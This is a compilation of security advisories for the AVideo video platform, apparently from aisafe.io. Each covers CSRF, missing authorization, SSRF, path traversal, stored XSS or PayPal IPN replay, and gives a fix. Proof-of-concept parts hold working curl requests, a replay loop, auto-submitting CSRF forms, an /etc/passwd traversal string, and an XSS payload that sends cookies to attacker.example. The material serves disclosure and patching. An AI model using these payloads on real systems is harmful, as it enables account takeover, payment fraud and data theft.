See how wwbn compares to other vendors in security performance
WWBN AVideo through commit 9c39d8c8 contains a cross-site request forgery vulnerability in the releaseVideoNow.json.php endpoint that lacks authenticity checks and accepts GET requests. Attackers can craft a malicious cross-site GET request carrying an administrator's session cookie to permanently publish any embargoed video by manipulating the videosid parameter.
WWBN AVideo through commit 9c39d8c8b4c1f75540788d6b391740852ceb0732 contains an authorization bypass vulnerability in the Usersaffiliations add.json.php endpoint that allows authenticated users to forge two-party consent records by supplying the counterparty's agreement timestamp. Attackers can create a forged affiliation with status='a' and then reassign video ownership to arbitrary users through the videoAddNew.json.php endpoint, which trusts the forged affiliation as an authorization term.
Summary
AVideo's video processing pipeline accepts an overrideStatus request parameter that allows any uploader to set a video's status to any valid state, including "active" (a). This bypasses the admin-controlled moderation and draft workflows. The setStatus() method validates the status code against a list of known values but does not verify that the caller has permission to set that particular status. As a result, any user with upload permissions can publish videos directly, circumventing content review processes.
Details
At objects/video.php:1055-1056, the video object checks for an overrideStatus parameter in the request and applies it directly:
php if (!empty($REQUEST['overrideStatus'])) { return $this->setStatus($REQUEST['overrideStatus']); }
This code is reached from two entry points: - objects/videoAddNew.json.php:157 - when adding a new video - objects/aVideoEncoder.json.php:114 - when processing an encoded video
The setStatus() method validates that the provided status code is one of the recognized values (a, k, i, h, e, x, d, t, u, s, r, f, b, p, c) but does not perform any authorization check. It does not verify whether the calling user has permission to set a video to the requested status.
The relevant status codes include: - a - Active (published and publicly visible) - k - Draft (pending review) - i - Inactive - e - Encoding - x - Deleted - u - Unlisted
When an admin configures the platform to require moderation (new videos default to draft/pending status), any uploader can bypass this by including overrideStatus=a in their upload request.
Proof of Concept
1. Assume the AVideo instance has moderation enabled (new videos default to draft status k).
2. Upload a video as a regular user, including the overrideStatus parameter:
bash curl -b "PHPSESSID=USERSESSION" \ -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \ -F "title=Bypassed Moderation" \ -F "description=This video skips the review queue" \ -F "videoLink=https://example.com/video.mp4" \ -F "overrideStatus=a"
3. The video is immediately set to active status and is publicly visible, bypassing the admin moderation workflow.
4. Verify the video is publicly accessible:
bash curl -s "https://your-avideo-instance.com/video/VIDEOCLEANTITLE" | grep -o "<title>.</title>"
5. An uploader can also use this to set other statuses:
bash Set a video to "unlisted" even if the platform restricts this curl -b "PHPSESSID=USERSESSION" \ -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \ -F "title=Unlisted Video" \ -F "videoLink=https://example.com/video.mp4" \ -F "overrideStatus=u"
Impact
Any user with upload permissions can bypass content moderation by setting videos directly to active status. This undermines the platform's ability to enforce content policies, review uploads before publication, or maintain a moderation queue. On platforms that rely on moderation for legal compliance (e.g., DMCA, age-gated content), this bypass could have regulatory consequences. The same mechanism also allows uploaders to set arbitrary statuses like "unlisted" or "inactive" on their own videos, bypassing platform-level restrictions on these features.
- CWE-285: Improper Authorization - Severity: Medium
Recommended Fix
Add an authorization check before applying the overrideStatus parameter at objects/video.php:1055:
php // objects/video.php:1055 if (!empty($REQUEST['overrideStatus']) && (User::isAdmin() || Permissions::canAdminVideos())) { return $this->setStatus($REQUEST['overrideStatus']); }
This ensures that only administrators or users with video management permissions can override the video publishing status. Regular uploaders will follow the normal moderation workflow.
--- Found by aisafe.io
Summary
The SocialMediaPublisher plugin exposes a publishInstagram.json.php endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via InstagramUploader::publishMediaIfIsReady(). This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform's own credentials.
Details
At plugin/SocialMediaPublisher/publishInstagram.json.php:14, the endpoint passes request parameters directly to the Instagram Graph API without any authentication check:
php InstagramUploader::publishMediaIfIsReady( $REQUEST['accessToken'], $REQUEST['containerId'], $REQUEST['instagramAccountId'] );
There is no call to User::isLogged(), User::isAdmin(), or any other authorization check before processing the request.
In contrast, sibling endpoints in the same plugin enforce proper authorization: - uploadVideo.json.php requires User::isLogged() - refresh.json.php requires User::isAdmin()
The endpoint was confirmed accessible on a live instance: it returns a Graph API error response, demonstrating that it processes the request and forwards it to Facebook's servers.
Proof of Concept
1. Send a request to the endpoint without any authentication:
bash curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php" \ -d "accessToken=TESTTOKEN&containerId=TESTCONTAINER&instagramAccountId=TESTACCOUNT"
2. The server forwards the request to the Facebook Graph API. With invalid parameters, it returns a Graph API error confirming the endpoint is functional:
json { "error": { "message": "Invalid OAuth access token.", "type": "OAuthException", "code": 190 } }
3. With a valid access token (e.g., one leaked from AVI-027), an attacker could publish content to the platform's Instagram account:
bash curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php" \ -d "accessToken=LEAKEDACCESSTOKEN&containerId=REALCONTAINERID&instagramAccountId=REALACCOUNTID"
4. Verify that sibling endpoints require authentication:
bash Should require login curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/uploadVideo.json.php"
Should require admin curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/refresh.json.php"
Impact
The unauthenticated endpoint allows any attacker to use the AVideo server as a proxy for Instagram/Facebook Graph API calls. When combined with credentials leaked from AVI-027 (unauthenticated access to social media API credentials), an attacker can publish, modify, or delete content on the platform's Instagram account without any authentication to the AVideo instance. The server's IP address is used for the API calls, which could also be used to bypass rate limits or IP-based restrictions on the Graph API.
- CWE-862: Missing Authorization - Severity: Medium
Recommended Fix
Add an admin authorization check at the top of plugin/SocialMediaPublisher/publishInstagram.json.php:10, consistent with the sibling refresh.json.php endpoint:
php // plugin/SocialMediaPublisher/publishInstagram.json.php:10 if(!User::isAdmin()){ die(jsonencode(['error'=>'Not authorized'])); }
This restricts the endpoint to admin users only, matching the authorization level of refresh.json.php and preventing unauthenticated proxy abuse.
--- Found by aisafe.io
Severity: Medium CWE: CWE-352 (Cross-Site Request Forgery)
Summary
The player skin configuration endpoint at admin/playerUpdate.json.php does not validate CSRF tokens. The plugins table is explicitly excluded from the ORM's domain-based security check via ignoreTableSecurityCheck(), removing the only other layer of defense. Combined with SameSite=None cookies, a cross-origin POST can modify the video player appearance on the entire platform.
Details
In admin/playerUpdate.json.php at line 17, the player skin is set directly from POST data:
php $pluginDO->skin = $POST['skin'];
No CSRF token is validated anywhere in the endpoint. Normally, the ORM layer performs a Referer/Origin domain check as a secondary defense against cross-origin writes. However, the plugins table is registered in ignoreTableSecurityCheck(), which explicitly bypasses this ORM-level protection for plugin configuration.
AVideo's session cookies are configured with SameSite=None, meaning the admin's authenticated session cookie is automatically included in cross-origin POST requests from any website.
An attacker can craft a page that, when visited by an authenticated admin, silently changes the player skin to any value, including potentially invalid or disruptive configurations.
Proof of Concept
Host the following HTML on an attacker-controlled domain:
html <!DOCTYPE html> <html> <head><title>CSRF Player Skin</title></head> <body> <h1>Loading video...</h1> <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/playerUpdate.json.php"> <input type="hidden" name="skin" value="minimalist" /> </form> <script> document.getElementById("csrf").submit(); </script> </body> </html>
When an authenticated admin visits this page, the platform's player skin is changed without their knowledge.
Impact
- Platform-wide player appearance modification without admin consent - Potential disruption of video playback if an invalid skin value is set - The ORM security bypass via ignoreTableSecurityCheck() means there is no fallback protection - Can be used as part of a broader defacement or social engineering attack
Recommended Fix
Add CSRF token validation at admin/playerUpdate.json.php, before processing POST data:
php // admin/playerUpdate.json.php (before line 17) if (!isGlobalTokenValid()) { die('{"error":"Invalid CSRF token"}'); }
--- Found by aisafe.io
Summary
The install/test.php diagnostic script has its CLI-only access guard disabled by commenting out the die() statement. The script remains accessible via HTTP after installation, exposing video viewer statistics including IP addresses, session IDs, and user agents to unauthenticated visitors.
Details
The disabled guard at install/test.php:5-7:
php if (!isCommandLineInterface()) { //return die('Command Line only'); }
The script also enables verbose error reporting:
php errorreporting(EALL); iniset('displayerrors', '1');
It then queries VideoStatistic::getLastStatistics() and outputs the result via vardump():
php $resp = VideoStatistic::getLastStatistics(getVideosid(), User::getId()); vardump($resp);
The VideoStatistic object contains: ip (viewer IP address), sessionid, useragent, usersid, and JSON metadata. The displayerrors=1 setting also leaks internal filesystem paths in any PHP warnings.
The install/ directory is not restricted by .htaccess (it only disables directory listing via Options -Indexes) and no web server rules block access to individual PHP files in this directory.
Proof of Concept
bash Request viewer stats for video ID 1 curl "https://your-avideo-instance.com/install/test.php?videosid=1"
Confirmed accessible on live AVideo instances (HTTP 200).
Impact
Unauthenticated disclosure of viewer IP addresses (PII under GDPR), session identifiers, and user agents. The enabled displayerrors also reveals internal server paths on errors.
- CWE: CWE-200 (Exposure of Sensitive Information) - Severity: Low
Recommended Fix
Uncomment the CLI guard at install/test.php:6 to restore the intended access restriction:
php if (!isCommandLineInterface()) { return die('Command Line only'); }
--- Found by aisafe.io
Summary
The BlockonomicsYPT plugin's check.php endpoint returns payment order data for any Bitcoin address without requiring authentication. The endpoint was designed as an AJAX polling helper for the authenticated invoice.php page, but it performs no access control checks of its own. Since Bitcoin addresses are publicly visible on the blockchain, an attacker can query payment records for any address used on the platform.
Details
In plugin/BlockonomicsYPT/check.php at lines 20-30, the endpoint accepts a Bitcoin address and returns the corresponding order data:
php $addr = $GET['addr']; $order = new BlockonomicsOrder(0); $obj = $order->getFromAddressFromDb($addr); die(jsonencode($obj));
There is no authentication check. The endpoint does not verify that the requesting user is logged in, nor does it verify that the requesting user owns the order associated with the given address.
The response includes: - User ID of the buyer - Total payment value - Currency - BTC amounts (expected and received) - Transaction ID - Payment status
The invoice.php page that was designed to consume this endpoint does require authentication, but check.php itself does not inherit or enforce that requirement.
Bitcoin addresses are publicly queryable on the blockchain, so an attacker does not need to guess them. Addresses associated with the platform can be discovered by monitoring blockchain transactions to known platform wallets.
The BlockonomicsYPT plugin is tagged as deprecated by the AVideo project, but remains available and functional in current installations.
Proof of Concept
bash Query payment data for a known Bitcoin address without authentication curl "https://your-avideo-instance.com/plugin/BlockonomicsYPT/check.php?addr=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
Example response:
json { "id": 42, "usersid": 15, "value": "29.99", "currency": "USD", "btcvalue": "0.00085", "btcreceived": "0.00085", "txid": "abc123def456...", "status": "confirmed", "created": "2025-01-15 10:30:00" }
No session cookie or API key is required.
Impact
- Unauthenticated disclosure of payment order data including user IDs, amounts, and transaction details - Bitcoin addresses are publicly discoverable on the blockchain - Links on-chain transactions to specific platform user IDs - Privacy violation for users who made cryptocurrency payments on the platform - Plugin is deprecated but still functional in existing deployments
Recommended Fix
Add an authentication check at plugin/BlockonomicsYPT/check.php:17:
php if (!User::isLogged()) { echo jsonencode(["error" => "Login required"]); exit; }
--- Found by aisafe.io
Summary
The plugin/CloneSite/client.log.php endpoint serves the clone operation log file without any authentication. Every other endpoint in the CloneSite plugin directory enforces User::isAdmin(). The log contains internal filesystem paths, remote server URLs, and SSH connection metadata.
Details
The entire file at plugin/CloneSite/client.log.php:
php <?php include '../../videos/cache/clones/client.log';
No authentication check. The log file is populated by cloneClient.json.php which writes operational details during clone operations:
php // plugin/CloneSite/cloneClient.json.php:118 $log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file [$cmd]");
The $cmd variable contains wget commands with internal filesystem paths, and rsync command templates with SSH connection details (username, IP, port).
Compare with sibling endpoints: - plugin/CloneSite/index.php checks User::isAdmin() - plugin/CloneSite/changeStatus.json.php checks User::isAdmin() - plugin/CloneSite/clones.json.php checks User::isAdmin() - plugin/CloneSite/delete.json.php checks User::isAdmin()
Proof of Concept
bash curl "https://your-avideo-instance.com/plugin/CloneSite/client.log.php"
If the CloneSite feature has been used, the response contains wget commands, filesystem paths, SSH metadata, and SQL dump file locations.
Impact
Unauthenticated disclosure of internal infrastructure details that could aid targeted attacks against the clone source server.
Recommended Fix
Add an admin authentication check at plugin/CloneSite/client.log.php, before the include:
php requireonce '../../videos/configuration.php'; if (!User::isAdmin()) { httpresponsecode(403); die('Access denied'); }
--- Found by aisafe.io
Summary
The plugin/API/check.ffmpeg.json.php endpoint probes the FFmpeg remote server configuration and returns connectivity status without any authentication. All sibling FFmpeg management endpoints (kill.ffmpeg.json.php, list.ffmpeg.json.php, ffmpeg.php) require User::isAdmin().
Details
The entire file at plugin/API/check.ffmpeg.json.php:
php <?php $configFile = DIR.'/../../videos/configuration.php'; requireonce $configFile; header('Content-Type: application/json');
$obj = testFFMPEGRemote();
die(jsonencode($obj));
No User::isAdmin(), User::isLogged(), or any access control check exists.
Compare with sibling endpoints in the same directory: - kill.ffmpeg.json.php checks User::isAdmin() - list.ffmpeg.json.php checks User::isAdmin()
Proof of Concept
bash curl "https://your-avideo-instance.com/plugin/API/check.ffmpeg.json.php"
Returns information about whether the platform uses a standalone FFmpeg server and its current reachability.
Impact
Infrastructure reconnaissance revealing the encoding architecture. Limited direct impact but aids targeted attack planning.
Recommended Fix
Add an admin authentication check at plugin/API/check.ffmpeg.json.php:3, after requireonce $configFile;:
php if (!User::isAdmin()) { forbiddenPage('Admin only'); }
--- Found by aisafe.io
WWBN AVideo is an open source video platform. In versions 26.0 and prior, the site customization endpoint at admin/customizesettingsnativeUpdate.json.php lacks CSRF token validation and writes uploaded logo files to disk before the ORM's domain-based security check executes. Combined with SameSite=None cookie policy, a cross-origin POST can overwrite the platform's logo with attacker-controlled content.
Summary
The PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPTlog entries, but the v1 handler was never updated and remains actively referenced as the notifyurl for billing plans.
Details
When a recurring payment IPN arrives at ipn.php, the handler:
1. Verifies authenticity via PayPalYPT::IPNcheck() (line 16), which sends the POST data to PayPal's cmd=notify-validate endpoint. PayPal confirms the data is genuine but this verification is stateless — PayPal returns VERIFIED for the same authentic data on every submission.
2. Looks up the subscription from recurringpaymentid and directly credits the user's wallet (lines 41-53):
php // plugin/PayPalYPT/ipn.php lines 41-53 $row = Subscription::getFromAgreement($POST["recurringpaymentid"]); $usersid = $row['usersid']; $paymentamount = empty($POST['mcgross']) ? $POST['amount'] : $POST['mcgross']; $paymentcurrency = empty($POST['mccurrency']) ? $POST['currencycode'] : $POST['mccurrency']; if ($walletObject->currency===$paymentcurrency) { $plugin->addBalance($usersid, $paymentamount, "Paypal recurrent", jsonencode($POST)); Subscription::renew($usersid, $row['subscriptionsplansid']); $obj->error = false; }
No txnid uniqueness check. No PayPalYPTlog entry created. No deduplication of any kind.
Compare with the patched handlers: - ipnV2.php (line 50): PayPalYPT::isTokenUsed($GET['token']) and (line 93): PayPalYPT::isRecurringPaymentIdUsed($POST["verifysign"]), with PayPalYPTlog entries saved on success. - webhook.php (line 30): PayPalYPT::isTokenUsed($token) with PayPalYPTlog entry saved on success.
The v1 ipn.php is still actively configured as notifyurl in PayPalYPT.php at lines 85, 193, and 308: php $notifyurl = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php";
PoC
bash Prerequisites: A registered AVideo account with at least one completed PayPal subscription.
Step 1: Complete a legitimate PayPal subscription. This generates an IPN notification to ipn.php containing your recurringpaymentid.
Step 2: Capture the IPN POST body. This is available from: - PayPal's IPN History (paypal.com > Settings > IPN History) - Network interception during the initial subscription flow
Step 3: Replay the captured IPN to inflate wallet balance. Each replay adds the subscription amount to the attacker's wallet.
Single replay: curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \ -d 'recurringpaymentid=I-XXXXXXXXXX&mcgross=9.99&mccurrency=USD&paymentstatus=Completed&txntype=recurringpayment&verifysign=REALVERIFYSIGN&payeremail=attacker@example.com'
Bulk replay (100x = 100x the subscription amount added to wallet): for i in $(seq 1 100); do curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \ -d 'recurringpaymentid=I-XXXXXXXXXX&mcgross=9.99&mccurrency=USD&paymentstatus=Completed&txntype=recurringpayment&verifysign=REALVERIFYSIGN&payeremail=attacker@example.com' done
Each request passes IPNcheck() (PayPal confirms the data is authentic), then addBalance() credits the wallet and Subscription::renew() extends the subscription.
Impact
- Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content. - Unlimited subscription renewals: Each replay also calls Subscription::renew(), indefinitely extending subscription access from a single payment. - Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments.
Recommended Fix
Add deduplication to ipn.php consistent with the approach already used in ipnV2.php and webhook.php. Record each processed transaction in PayPalYPTlog and check before processing:
php // plugin/PayPalYPT/ipn.php — replace lines 41-57 with: } else { errorlog("PayPalIPN: recurringpaymentid = {$POST["recurringpaymentid"]} ");
// Deduplication: check if this IPN was already processed $dedupkey = !empty($POST['txnid']) ? $POST['txnid'] : $POST['verifysign']; if (PayPalYPT::isRecurringPaymentIdUsed($dedupkey)) { errorlog("PayPalIPN: already processed, skipping"); die(jsonencode($obj)); }
$subscription = AVideoPlugin::loadPluginIfEnabled("Subscription"); if (!empty($subscription)) { $row = Subscription::getFromAgreement($POST["recurringpaymentid"]); errorlog("PayPalIPN: user found from recurringpaymentid (usersid = {$row['usersid']}) "); $usersid = $row['usersid']; $paymentamount = empty($POST['mcgross']) ? $POST['amount'] : $POST['mcgross']; $paymentcurrency = empty($POST['mccurrency']) ? $POST['currencycode'] : $POST['mccurrency']; if ($walletObject->currency===$paymentcurrency) { // Log the transaction for deduplication $pp = new PayPalYPTlog(0); $pp->setUsersid($usersid); $pp->setRecurringpaymentid($dedupkey); $pp->setValue($paymentamount); $pp->setJson(['post' => $POST]); if ($pp->save()) { $plugin->addBalance($usersid, $paymentamount, "Paypal recurrent", jsonencode($POST)); Subscription::renew($usersid, $row['subscriptionsplansid']); $obj->error = false; } } else { errorlog("PayPalIPN: FAIL currency check $walletObject->currency===$paymentcurrency "); } } }
Additionally, consider migrating the notifyurl references in PayPalYPT.php (lines 85, 193, 308) from ipn.php to ipnV2.php or webhook.php, and eventually deprecating the v1 IPN handler entirely.
Summary
objects/aVideoEncoderReceiveImage.json.php allowed an authenticated uploader to fetch attacker-controlled same-origin /videos/... URLs, bypass traversal scrubbing, and expose server-local files through the GIF poster storage path.
The vulnerable GIF branch could be abused to read local files such as /etc/passwd or application source files and republish those bytes through a normal public GIF media URL.
Details
The vulnerable chain was:
1. objects/aVideoEncoderReceiveImage.json.php accepted attacker-controlled downloadURLgifimage 2. traversal scrubbing used strreplace('../', '', ...), which was bypassable with overlapping input such as ....// 3. same-origin /videos/... URLs were accepted 4. urlgetcontents() and trygetcontentsfromlocal() resolved the request into a local filesystem read 5. the fetched bytes were written into the GIF destination 6. invalid GIF cleanup used the wrong variable, so the non-image payload remained on disk
This made the GIF poster path a local file disclosure primitive with public retrieval.
Proof of concept
1. Log in as an uploader and create an owned video row through the normal encoder flow. 2. Send:
text POST /objects/aVideoEncoderReceiveImage.json.php downloadURLgifimage=https://localhost/videos/....//....//....//....//....//....//etc/passwd
3. Query:
text GET /objects/videos.json.php?showAll=1
4. Recover the generated GIF URL from videosURL.gif.url. 5. Download that GIF URL. 6. Observe that the body matches the target local file, such as /etc/passwd, byte-for-byte.
Impact
An authenticated uploader can read server-local files and republish them through a public GIF media URL by supplying a crafted same-origin /videos/... path to downloadURLgifimage. Because traversal scrubbing was bypassable and the fetched bytes were written to the GIF destination without effective invalid-image cleanup, successful exploitation allows disclosure of files such as /etc/passwd, readable application source code, or deployment-specific configuration accessible to the application.
Recommended fix
- Reject any remote image URL whose decoded path contains traversal markers - Do not allow attacker-controlled same-origin /videos/... fetches to resolve into local file reads - Constrain any local shortcut path handling with realpath() and strict base-directory allowlists - Validate GIF content before saving it into public media storage - Ensure invalid-image cleanup checks the correct destination path
Summary
The Live restream log callback flow accepted an attacker-controlled restreamerURL and later fetched that stored URL server-side, enabling stored SSRF for authenticated streamers.
The vulnerable flow allowed a low-privilege user with streaming permission to store an arbitrary callback URL and trigger server-side requests to loopback or internal HTTP services through the restream log feature.
Details
The vulnerable chain was:
1. plugin/Live/view/getRestream.json.php exposed a fresh tokenForAction 2. plugin/Live/view/Liverestreams/verifyTokenForAction.json.php exchanged it for a valid responseToken 3. plugin/Live/view/Liverestreamslogs/add.json.php accepted attacker-controlled restreamerURL 4. plugin/Live/view/getRestream.json.php and plugin/Live/view/Liverestreams/getAction.json.php later fetched that stored URL server-side
The original issue existed because the responseToken was accepted, but the callback destination was not tightly constrained to trusted restreamer endpoints.
The maintainer confirmed the vulnerability and stated that the fix was applied by validating restreamerURL at storage time and re-validating the log-entry branch before use. The maintainer also noted that the m3u8 field follows the same general pattern but is not server-fetched in the current flow.
Proof of concept
1. Log in as a non-admin user with streaming permission. 2. Create a normal restream destination. 3. Trigger plugin/Live/view/Liverestreams/testRestreamer.json.php to create a live transmission history row. 4. Call:
text GET /plugin/Live/view/getRestream.json.php?livetransmitionshistoryid=<id>&restreamsid=<id>
5. Extract tokenForAction from the returned URL. 6. Exchange it for responseToken via:
text POST /plugin/Live/view/Liverestreams/verifyTokenForAction.json.php
7. Store a loopback callback URL:
text POST /plugin/Live/view/Liverestreamslogs/add.json.php restreamerURL=http://127.0.0.1:9999/index.php
8. Trigger getRestream.json.php again. 9. Observe that the returned response now contains the JSON body from the loopback-only service.
Impact
An authenticated streamer can cause the AVideo server to send HTTP requests to loopback or internal services and return the response through normal application endpoints by storing a malicious restreamerURL in the restream log flow. Because the callback destination was not constrained to trusted restreamer endpoints, the application could be used as a proxy to internal-only services that trust network locality. Successful exploitation can expose local admin panels, internal-only APIs, cloud metadata services if reachable, or other sensitive internal responses available from the application host.
Recommended fix
- Validate restreamerURL against explicitly configured restreamer endpoints at storage time - Re-validate the stored callback URL before server-side fetch - Bind responseToken to the expected restream row and callback host - Apply SSRF validation to the initial destination of every server-side fetch, not only redirect targets - Ignore or reject user-supplied callback hosts that do not match trusted configuration
Summary
AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epglink to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
Details
The vulnerability spans three files in the data flow:
1. Entry point — objects/videoAddNew.json.php:117-119
The epglink parameter is stored with only a URL format check:
php if (empty($POST['epglink']) || isValidURL($POST['epglink'])) { $obj->setEpglink($POST['epglink']); }
This requires User::canUpload() (line 10) — not admin, just basic upload permission.
2. XML parsing — objects/EpgParser.php:321
Programme titles are extracted as raw strings with no sanitization:
php $this->epgdata[$grouper ?: 0] = [ 'title' => (string) $element->title, // ... ];
3. Sink — plugin/PlayerSkins/epg.php:343-351
Programme titles are interpolated directly into HTML output without htmlspecialchars() or any escaping:
php } else if ($width <= $minimumWidth1Dot) { $text = "<abbr title=\"{$program['title']}\">.</abbr>"; // attribute injection } else if ($width <= $minimumWidth) { $text = "<abbr title=\"{$program['title']}\"><small ..."; // attribute injection } else if ($width <= $minimumSmallFont) { $text = "<small class=\"small-font\">{$program['title']}<div>..."; // HTML injection } else { $text = "{$program['title']}<div>..."; // HTML injection }
Notably, the channel display-name is sanitized via safeString() at line 151, but programme titles are not — an apparent oversight.
The EPG page (epg.php) requires no authentication to access, and the rendered output is cached at line 634 (ObjectYPT::setCache), so the XSS payload persists in cache even if the original malicious XML is later removed.
PoC
Step 1: Host a malicious XMLTV file at an attacker-controlled URL:
xml <?xml version="1.0" encoding="UTF-8"?> <tv> <channel id="ch1"> <display-name>Test Channel</display-name> </channel> <programme start="20260404060000 +0000" stop="20260404070000 +0000" channel="ch1"> <title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title> </programme> </tv>
Step 2: Create a video with the malicious EPG link (requires upload permission):
bash curl -s -b 'PHPSESSID=UPLOADUSERSESSION' \ 'https://target.example/objects/videoAddNew.json.php' \ -d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epglink=https://attacker.example/evil.xml&categoriesid=1'
Step 3: Any visitor (unauthenticated) browsing the EPG page triggers the XSS:
https://target.example/plugin/PlayerSkins/epg.php
The <img onerror> payload executes in the browser of every visitor, exfiltrating cookies and session tokens.
Impact
- Session hijacking: Any visitor's session cookies are exfiltrated, including administrators - Account takeover: Stolen admin sessions allow full platform control - Persistent: The XSS payload is cached server-side and fires for every page visitor without further interaction - Wide blast radius: The EPG page is publicly accessible with no authentication required
Recommended Fix
Escape all programme data before rendering in HTML. In plugin/PlayerSkins/epg.php, apply htmlspecialchars() to programme titles before interpolation:
php // Around line 340, before the width checks: $safeTitle = htmlspecialchars($program['title'], ENTQUOTES, 'UTF-8');
// Then use $safeTitle instead of $program['title']: } else if ($width <= $minimumWidth1Dot) { $text = "<abbr title=\"{$safeTitle}\">.</abbr>"; } else if ($width <= $minimumWidth) { $text = "<abbr title=\"{$safeTitle}\"><small class=\"duration\">{$minutes} Min</small></abbr>"; } else if ($width <= $minimumSmallFont) { $text = "<small class=\"small-font\">{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div></small>"; } else { $text = "{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div>"; }
Additionally, consider sanitizing all EPG XML fields at parse time in EpgParser.php:316-330 to defend in depth.
Summary
The fix for CVE-2026-27732 is incomplete.
objects/aVideoEncoder.json.php still allows attacker-controlled downloadURL values with common media or archive extensions such as .mp4, .mp3, .zip, .jpg, .png, .gif, and .webm to bypass SSRF validation. The server then fetches the response and stores it as media content.
This allows an authenticated uploader to turn the upload-by-URL flow into a reliable SSRF response-exfiltration primitive.
Details
objects/aVideoEncoder.json.php accepts attacker-controlled downloadURL and passes it to downloadVideoFromDownloadURL().
Inside that function:
1. the URL extension is extracted from the attacker-controlled path 2. the extension is checked against an allowlist of normal encoder formats 3. isSSRFSafeURL() is skipped for common media and archive extensions 4. the URL is fetched via urlgetcontents() 5. the fetched body is written into video storage and exposed through normal media metadata
The current code still contains:
- an extension-based bypass for SSRF validation - no mandatory initial-destination SSRF enforcement inside urlgetcontents() itself
This means internal URLs such as:
http://127.0.0.1:9998/probe.mp4
remain reachable from the application host.
This issue is best described as an incomplete fix / patch bypass of CVE-2026-27732, not a separate unrelated SSRF class.
Proof of concept
1. Log in as a low-privilege uploader. 2. Start an HTTP service reachable only from inside the application environment, for example:
text http://127.0.0.1:9998/probe.mp4
3. Confirm that the service is not reachable externally. 4. Send:
text POST /objects/aVideoEncoder.json.php downloadURL=http://127.0.0.1:9998/probe.mp4 format=mp4
5. If needed, replay once against the returned videosid with firstrequest=1 so the fetched bytes land in the normal media path. 6. Query:
text GET /objects/videos.json.php?showAll=1
7. Recover videosURL.mp4.url. 8. Download that media URL and observe that the body matches the internal-only response byte-for-byte.
Impact
An authenticated uploader can make the AVideo server fetch loopback or internal HTTP resources and persist the response as media content by supplying a downloadURL ending in an allowlisted extension such as .mp4, .jpg, .gif, or .zip. Because SSRF validation is skipped for those extensions, the fetched body is stored and later retrievable through the generated /videos/... media URL. Successful exploitation allows internal response exfiltration from private APIs, admin endpoints, or other internal services reachable from the application host.
Recommended fix
- Apply isSSRFSafeURL() to all downloadURL inputs regardless of extension - Remove extension-based exceptions from SSRF enforcement - Move initial-destination SSRF validation into urlgetcontents() so call sites cannot skip it - Avoid storing arbitrary fetched content directly as publicly retrievable media - Consider restricting upload-by-URL to an explicit allowlist of trusted fetch origins
Summary
AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.
Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.
Details
The session cookie configuration in objects/includeconfig.php at line 135 explicitly weakens the default browser protections:
php // objects/includeconfig.php:135 iniset('session.cookiesamesite', 'None');
This means cookies are attached to all cross-origin requests, making CSRF attacks trivial.
The save endpoint in admin/save.json.php directly processes POST data without any token verification:
php // admin/save.json.php $pluginName = $POST['pluginName']; $pluginValues = $POST; // ... $pluginDO->$key = $pluginValues[$key]; $p->setObjectdata(jsonencode($pluginDO)); $p->save();
The plugins table is explicitly exempted from security checks in objects/Object.php at line 529:
php // objects/Object.php:529 static function ignoreTableSecurityCheck() { return ['plugins', / ... other tables ... /]; }
Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes.
Proof of Concept
Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:
html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="PayPerView" /> <input type="hidden" name="paypalReceiverEmail" value="attacker@evil.com" /> </form> <script> document.getElementById('csrf').submit(); </script> </body> </html>
To overwrite S3 storage credentials instead:
html <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="AWSS3" /> <input type="hidden" name="region" value="us-east-1" /> <input type="hidden" name="bucket" value="attacker-bucket" /> <input type="hidden" name="key" value="ATTACKERKEYID" /> <input type="hidden" name="secret" value="ATTACKERSECRET" /> </form>
Reproduction steps:
1. Log in to AVideo as an administrator. 2. In a separate browser tab, open the attacker's HTML page. 3. The form auto-submits, overwriting the target plugin configuration. 4. Verify the change by navigating to the plugin settings page in the admin panel.
Impact
